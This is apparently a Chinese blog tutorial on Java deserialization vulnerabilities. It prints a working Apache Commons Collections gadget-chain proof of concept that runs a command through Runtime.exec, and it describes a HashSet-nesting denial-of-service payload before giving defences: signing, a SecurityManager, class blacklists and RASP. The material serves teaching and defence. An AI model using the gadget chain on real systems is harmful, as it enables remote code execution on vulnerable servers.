java 序列化漏洞怎么解决?

1. Java序列化和反序列化

Java 序列化是指把java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的writeObject()方法可以实现序列化。

java 反序列化是指把细节序列恢复为java对象的过程,ObjectInputStream 类的readObject() 方法用于反序列化。
java 序列化漏洞怎么解决?_第1张图片

主要使用场景

  • 远程过程调用(RPC)
  • 远程方法调用(RMI)
  • 分布式对象(Distributed Object)
  • HTTP:多平台之间的通信,管理等
  • 简单对象访问协议(SOAP)

漏洞的基本原理

public class test{
    public static void main(String args[]) throws Exception{
        //定义myObj对象
        MyObject myObj = new MyObject();
        myObj.name = "hi";
        //创建一个包含对象进行反序列化信息的”object”数据文件
        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法将myObj对象写入object文件
        os.writeObject(myObj);
        os.close();
        //从文件中反序列化obj对象
        FileInputStream fis = new FileInputStream("object");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢复对象
        MyObject objectFromDisk = (MyObject)ois.readObject();
        System.out.println(objectFromDisk.name);
        ois.close();
    }
}

class MyObject implements Serializable {
    public String name;
    //重写readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
        //执行默认的readObject()方法
        in.defaultReadObject();
        //执行打开计算器程序命令
        Runtime.getRuntime().exec("calc");
    }
}

在上面代码中,我们在反序列化的时候,实现了readObject方法,此时我们可以执行打开计算器程序命令。运行结果如下:
java 序列化漏洞怎么解决?_第2张图片

我们注意到 MyObject 类实现了Serializable接口,并且重写了readObject()函数。这里需要注意:只有实现了Serializable接口的类的对象才可以被序列化,Serializable 接口是启用其序列化功能的接口,实现 java.io.Serializable 接口的类才是可序列化的,没有实现此接口的类将不能使它们的任一状态被序列化或逆序列化。这里的 readObject() 执行了Runtime.getRuntime().exec("open /Applications/Calculator.app/"),而 readObject() 方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回,readObject() 是可以重写的,可以定制反序列化的一些行为。

2. Apache-CommonsCollections 序列化RCE漏洞分析

Apache Commons Collections 序列化 RCE 漏洞问题主要出现在 org.apache.commons.collections.Transformer 接口上;在 Apache Commons Collections 中

有一个 InvokerTransformer 类实现了 Transformer,主要作用是调用 Java 的反射机制(反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性,详细内容请参考:http://ifeve.com/java-reflection/) 来调用任意函数,只需要传入方法名、参数类型和参数,即可调用任意函数。TransformedMap 配合sun.reflect.annotation.AnnotationInvocationHandler 中的 readObject(),可以触发漏洞。我们先来看一下大概的逻辑:
java 序列化漏洞怎么解决?_第3张图片

public class Deserialize {
    public static void main(String... args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, NoSuchMethodException {
        Object evilObject = getEvilObject();
        byte[] serializedObject = serializeToByteArray(evilObject);
        deserializeFromByteArray(serializedObject);
    }
    public static Object getEvilObject() throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException {
        String[] command = {"calc"};
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        command
                )
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
        final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
        Proxy evilProxy = (Proxy) Proxy.newProxyInstance(Deserialize.class.getClassLoader(), new Class[]{Map.class}, secondInvocationHandler);
        InvocationHandler invocationHandlerToSerialize = (InvocationHandler) constructor.newInstance(Override.class, evilProxy);
        return invocationHandlerToSerialize;
        /*Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {
                        String.class }, new Object[] {"open -a calculator"})};
        Transformer chain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("key", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, chain);
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, outerMap);
        return instance;*/
    }
    public static void deserializeAndDoNothing(byte[] byteArray) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArray));
        ois.readObject();
    }
    public static byte[] serializeToByteArray(Object object) throws IOException {
        ByteArrayOutputStream serializedObjectOutputContainer = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(serializedObjectOutputContainer);
        objectOutputStream.writeObject(object);
        return serializedObjectOutputContainer.toByteArray();
    }
    public static Object deserializeFromByteArray(byte[] serializedObject) throws IOException, ClassNotFoundException {
        ByteArrayInputStream serializedObjectInputContainer = new ByteArrayInputStream(serializedObject);
        ObjectInputStream objectInputStream = new ObjectInputStream(serializedObjectInputContainer);
        InvocationHandler evilInvocationHandler = (InvocationHandler) objectInputStream.readObject();
        return evilInvocationHandler;
    }
}

下面我们来分析一下这段代码的逻辑。

在 Java 通过ObjectInputStream.readObject()进行反序列化操作的时候,ObjectInputStream 会根据序列化数据寻找对应的实现类(在 payload 中是sun.reflect.annotation.AnnotationInvocationHandler)。如果实现类存在,Java 就会调用其 readObject 方法。因此,AnnotationInvocationHandler.readObject方法在反序列化过程中会被调用。

AnnotationInvocationHandler在readObject的过程中会调用streamVals.entrySet()。其中,streamVals是AnnotationInvocationHandler构造函数中的第二个参数。这个参数可以在数据中进行指定。而黑客定义的是 Proxy 类,也就是说,黑客会让这个参数的实际值等于 Proxy。

java 序列化漏洞怎么解决?_第4张图片

Proxy 是动态代理,它会基于 Java 反射机制去动态实现代理类的功能。在 Java 中,调用一个 Proxy 类的 entrySet() 方法,实际上就是在调用InvocationHandler中的invoke方法。在 invoke 方法中,Java 又会调用memberValues.get(member)。其中,memberValues是AnnotationInvocationHandler构造函数中的第二个参数。

同样地,memberValues这个参数也能够在数据中进行指定,而这次黑客定义的就是 LazyMap 类。member 是方法名,也就是 entrySet。因此,我们最终会调用到LazyMap.get(“entrySet”)这个逻辑。
java 序列化漏洞怎么解决?_第5张图片
当 LazyMap 需要 get 某个参数的时候,如果之前没有获取过,则会调用ChainedTransformer.transform进行构造。
java 序列化漏洞怎么解决?_第6张图片
ChainedTransformer.transform会将我们构造的几个 InvokerTransformer 顺次执行。而在InvokerTransformer.transform中,它会通过反射的方法,顺次执行我们定义好的 Java 语句,最终调用Runtime.getRuntime().exec(“calc”)实现命令执行的功能。

所以这里 POC 执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()->checkSetValue() 漏洞成功触发。

该漏洞当时影响广泛,在当时可以直接攻击最新版 WebLogic 、 WebSphere 、 JBoss 、 Jenkins 、OpenNMS 这些大名鼎鼎的 Java 应用。

简单来说,其实就是以下 4 步:

  1. 黑客构造一个恶意的调用链(专业术语为 POP,Property Oriented Programming),并将其序列化成数据,然后发送给应用;

  2. 应用接收数据。大部分应用都有接收外部输入的地方,比如各种 HTTP 接口。而这个输入的数据就有可能是序列化数据;

  3. 应用进行反序列操作。收到数据后,应用尝试将数据构造成对象;

  4. 应用在反序列化过程中,会调用黑客构造的调用链,使得应用会执行黑客的任意命令。

那么,在这个反序列化的过程中,应用为什么会执行黑客构造的调用链呢?这是因为,反序列化的过程其实就是一个数据到对象的过程。在这个过程中,应用必须

根据数据源去调用一些默认方法(比如构造函数和 Getter/Setter)。

除了这些方法,反序列化的过程中,还会涉及一些接口类或者基类(简单的如:Map、List 和 Object)。应用也必须根据数据源,去判断选择哪一个具体的接口实

现类。也就是说,黑客可以控制反序列化过程中,应用要调用的接口实现类的默认方法。通过对不同接口类的默认方法进行组合,黑客就可以控制反序列化的调用

过程,实现执行任意命令的功能。

3 敏感数据序列化

首先看下面的例子:

我们用 Java 语言的例子来看看序列化的问题。先一起来看一段节选的 Java 代码。你能看出这段代码有什么问题吗?该怎么解决这个问题?

public class Person implements Serializable {
    // 
    private String firstName;
    private String lastName;
    private String birthday;
    private String socialSecurityNumber;
    public Person(String firstName, String lastName,
            String birthday, String socialSecurityNumber) {
        this.firstName = firstName;
        this.lastName = lastName;
        this.birthday = birthday;
        this.socialSecurityNumber = socialSecurityNumber;
    }
    // 
}

注意,socialSecurityNumber 表示社会保障号,是一个高度敏感、需要高度安全保护的数据。如果社会保障号以及姓名、生日等信息被泄露,那么冒名顶替者就

可以用这个号码举债买房、买车,而真实用户则要背负相关的债务。一旦社会保障号被泄露,想要证明并不是你申请了贷款,远远不是一件轻而易举的事情。在有

些国家,社会保障号的保护本身甚至都是一个不小的生意。 在一个信息系统中,除了本人以及授权用户,任何其他人都不应该获知社会保障号以及相关的个人信

息。

上述的代码,存在泄露社会保障号以及相关的个人信息的巨大风险。

案例分析

打包、传输、拆解是序列化技术的三个关键步骤。我们来分别看看这三个步骤。

首先,打包环节会把一个 Person 实例里的姓名、生日、社会保障号等信息转化为二进制数据。这段数据可以被传输、存储和拆解。任何人看到这段二进制数据,

都可以拆解,还原成一个 Person 实例,从而获得个人敏感信息。这段二进制数据在传输和存储的过程中,有可能被恶意的攻击者修改,从而影响 Person 实例的还原。如果这个实例涉及到具体的商业交易,那么通过这样的攻击,还可以修改交易对象。

你看,序列化后的每一个环节,都有可能遭受潜在的攻击。序列化的问题有多严重呢?据说,大约有一半的 Java 漏洞和序列化技术有直接或者间接的关系。而且,由于序列化可以使用的场景非常多,序列化对象既可以看又可以改,这样就导致序列化安全漏洞的等级往往非常高,影响非常大。甚至每年都会有公司专门收集、整理和分析序列化漏洞,这就加剧了序列化安全漏洞的影响,特别是对于那些没有及时修复的系统来说。

1997 年,Java 引入序列化技术,至今二十多年里,由于序列化技术本身的安全问题,Java 尝尽了其中的酸楚。这是一个“美妙”的想法带来的可怕错误。如果有一天,Java 废弃了序列化技术,那一点儿也不值得惊讶。毕竟,和得到的好处相比,要付出的代价实在是太沉重了!

如果你的应用还没有开始使用序列化技术,这很好,不要惦记序列化的好处,坚持不要使用序列化。如果你的应用已经使用了序列化技术,那么可以做些什么来防范或者降低序列化的风险呢?

4 通过反序列化漏洞,黑客能做什么?

通过反序列化漏洞,黑客可以调用到Runtime.exec()来进行命令执行。换一句话说,黑客已经能够在服务器上执行任意的命令,这就相当于间接掌控了你的服务

器,能够干任何他想干的事情了。

即使你对服务器进行了一定的安全防护,控制了黑客掌控服务器所产生的影响,黑客还是能够利用反序列化漏洞,来发起拒绝服务攻击。比如,曾经有人就提出过

这样的方式,通过 HashSet 的相互引用,构造出一个 100 层的 HashSet,其中包含 200 个 HashSet 的实例和 100 个 String,结构如下图所示。
java 序列化漏洞怎么解决?_第7张图片

对于多层嵌套的对象,Java 在反序列化过程中,需要调用的方法呈指数增加。因此,尽管这个序列化的数组大概只有 6KB,但是面对这种 100 层的数据,Java 所需要执行的方法数是近乎无穷的(n 的 100 次方)。也就是说,黑客可以通过构建一个体积很小的数据,增加应用在反序列化过程中需要调用的方法数,以此来耗尽 CPU 资源,达到影响服务器可用性的目的。

5 如何进行反序列化漏洞防护 ?

1.认证和签名

首先,最简单的,我们可以通过认证,来避免应用接受黑客的异常输入。要知道,很多序列化和反序列化的服务并不是提供给用户的,而是提供给服务自身的。比

如,存储一个对象到硬盘、发送一个对象到另外一个服务中去。对于这些点对点的服务,我们可以通过加入签名的方式来进行防护。比如,对存储的数据进行签

名,以此对调用来源进行身份校验。只要黑客获取不到密钥信息,它就无法向进行反序列化的服务接口发送数据,也就无从发起反序列化攻击了。

2. 禁止JVM执行外部命令 Runtime.exec

通过扩展 SecurityManager 可以实现:

SecurityManager originalSecurityManager = System.getSecurityManager();
        if (originalSecurityManager == null) {
            // 创建自己的SecurityManager
            SecurityManager sm = new SecurityManager() {
                private void check(Permission perm) {
                    // 禁止exec
                    if (perm instanceof java.io.FilePermission) {
                        String actions = perm.getActions();
                        if (actions != null && actions.contains("execute")) {
                            throw new SecurityException("execute denied!");
                        }
                    }
                    // 禁止设置新的SecurityManager,保护自己
                    if (perm instanceof java.lang.RuntimePermission) {
                        String name = perm.getName();
                        if (name != null && name.contains("setSecurityManager")) {
                            throw new SecurityException("System.setSecurityManager denied!");
                        }
                    }
                }

                @Override
                public void checkPermission(Permission perm) {
                    check(perm);
                }

                @Override
                public void checkPermission(Permission perm, Object context) {
                    check(perm);
                }
            };

            System.setSecurityManager(sm);
        }

3.限制序列化和反序列化的类

事实上,认证只是隐藏了反序列化漏洞,并没有真正修复它。那么,我们该如何从根本上去修复或者避免反序列化漏洞呢?

在反序列化漏洞中,黑客需要构建调用链,而调用链是基于类的默认方法来构造的。然而,大部分类的默认方法逻辑很少,无法串联成完整调用链。因此,在调用链中通常会涉及非常规的类,比如,刚才那个 demo 中的 InvokerTransformer。我相信 99.99% 的人都不会去序列化这个类。因此,我们可以通过构建黑名单的方式,来检测反序列化过程中调用链的异常。

在 Fastjson 的配置文件中,就维护了一个黑名单的列表,其中包括了很多可能执行代码的方法类。这些类都是平常会使用,但不会序列化的一些工具类,因此我们可以将它们纳入到黑名单中,不允许应用反序列化这些类(在最新的版本中,已经更改为 hashcode 的形式)。

我们在日常使用 Fastjson 或者其他 JSON 转化工具的过程中,需要注意避免序列化和反序列化接口类。这就相当于白名单的过滤:只允许某些类可以被反序列化。

我认为,只要你在反序列化的过程中,避免了所有的接口类(包括类成员中的接口、泛型等),黑客其实就没有办法控制应用反序列化过程中所使用的类,也就没

有办法构造出调用链,自然也就无法利用反序列化漏洞了。

4.RASP监测

通常来说,我们可以依靠第三方插件中自带的黑名单来提高安全性。但是,如果我们使用的是 Java 自带的序列化和反序列化功能(比如ObjectInputStream.resolveClass),那我们该怎么防护反序列化漏洞呢?如果我们想要替这些方法实现黑名单的检测,就会涉及原生代码的修改,这显然是一件比较困难的事。

为此,业内推出了 RASP(Runtime Application Self-Protection,实时程序自我保护)。RASP 通过 hook 等方式,在这些关键函数的调用中,增加一道规则的检测。这个规则会判断应用是否执行了非应用本身的逻辑,能够在不修改代码的情况下对反序列化漏洞攻击实现拦截。

**我个人认为,**RASP是最好的检测反序列化攻击的方式。 我为什么会这么说呢?这是因为,如果使用认证和限制类这样的方式来检测,就需要一个一个去覆盖可能出现的漏洞点,非常耗费时间和精力。而 RASP 则不同,它通过 hook 的方式,直接将整个应用都监控了起来。因此,能够做到覆盖面更广、代码改动更少。

但是,因为 RASP 会 hook 应用,相当于是介入到了应用的正常流程中。而 RASP 的检测规则都不高效,因此,它会给应用带来一定的性能损耗,不适合在高并发的场景中使用。但是,在应用不受严格性能约束的情况下,我还是更推荐使用 RASP。这样,开发就不用一个一个去对漏洞点进行手动修补了。

你可能感兴趣的:(Web安全,序列化漏洞)